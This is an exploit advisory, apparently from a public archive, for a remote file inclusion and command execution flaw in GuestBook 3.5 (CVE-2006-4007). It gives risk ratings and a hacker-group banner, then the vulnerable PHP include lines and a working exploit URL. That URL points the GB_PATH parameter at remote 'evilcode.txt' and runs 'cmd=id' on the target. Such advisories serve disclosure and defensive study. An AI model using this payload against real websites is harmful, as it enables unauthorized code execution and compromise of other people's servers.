GuestBook 3.5 Remote Command Execution

2006.08.08

Credit: botan linuxmail org

Risk: High

Local: No

Remote: Yes

CVE: CVE-2006-4007

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

>>> Kurdish Security

>>> Guestbook v3.5 Remote Command Execution

>>> Freedom For Ocalan

>>> Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

>>> Rish : High

>>> Class : Remote

>>> Script : MoSpray

>>> Site : http://www.knusperleicht.at

Code :

define('FILE_POSTS',GB_PATH."db/posts.dat");

define('FILE_SMILIE',GB_PATH."db/smilie.dat");

$GB_INCLUDE[Img] = GB_PATH;

$gb_failure = true;

$gb_del = true;

include(GB_PATH."admin/engine.inc.php");

include(GB_PATH."db/settings.dat");

http://www.site.com/[scriptpath]/index.php?GB_PATH=evilcode.txt?&cmd=id

Eof.

See this note in RAW Version

Vote for this issue:

50%

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

GuestBook 3.5 Remote Command Execution

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

GuestBook 3.5 Remote Command Execution

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.